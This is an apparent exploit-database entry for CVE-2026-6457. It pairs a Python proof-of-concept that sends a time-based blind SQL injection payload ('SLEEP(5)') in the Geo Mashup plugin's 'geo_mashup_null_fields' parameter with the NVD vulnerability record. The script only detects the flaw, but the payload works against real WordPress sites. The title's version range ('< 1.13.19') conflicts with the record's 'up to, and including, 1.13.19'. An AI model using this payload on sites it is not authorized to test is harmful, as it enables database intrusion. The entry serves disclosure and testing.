CVE-2026-6457

# Exploit Title: WordPress Geo Mashup Plugin < 1.13.19 - Blind SQL Injection (Authenticated) # Date: 2026-05-02 # CVE: CVE-2026-6457 # Vendor: cyberhobo import requests import time def check_sqli(url, cookies): # The vulnerable parameter is 'geo_mashup_null_fields' # We inject a time-based payload to test for vulnerability payload = { "geo_mashup_null_fields": "1' AND (SELECT SLEEP(5))-- -" } start_time = time.time() try: response = requests.post(url, data=payload, cookies=cookies, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") return False end_time = time.time() # If the response takes longer than 5 seconds, the sleep executed, indicating SQLi if end_time - start_time >= 5: print("[+] Vulnerable to Time-Based Blind SQL Injection!") return True else: print("[-] Not vulnerable or payload incorrect.") return False # Usage example # target_url = "http://example.com/wp-admin/admin-ajax.php" # user_cookies = {"wordpress_logged_in_xxx": "..."} # check_sqli(target_url, user_cookies)

{"cve": {"id": "CVE-2026-6457", "sourceIdentifier": "[email protected]", "published": "2026-05-02T08:16:27.803", "lastModified": "2026-05-05T19:15:59.927", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Geo Mashup plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'geo_mashup_null_fields' parameter in all versions up to, and including, 1.13.19 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/tags/1.13.18/geo-mashup-db.php#L1991", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/tags/1.13.18/geo-mashup-ui-managers.php#L388", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/tags/1.13.18/geo-mashup.php#L567", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/geo-mashup-db.php#L1991", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/geo-mashup-ui-managers.php#L388", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/geo-mashup/trunk/geo-mashup.php#L567", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3519909/geo-mashup/trunk", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/96a80b89-94e0-4bbd-88cf-5eb5349c320b?source=cve", "source": "[email protected]"}]}}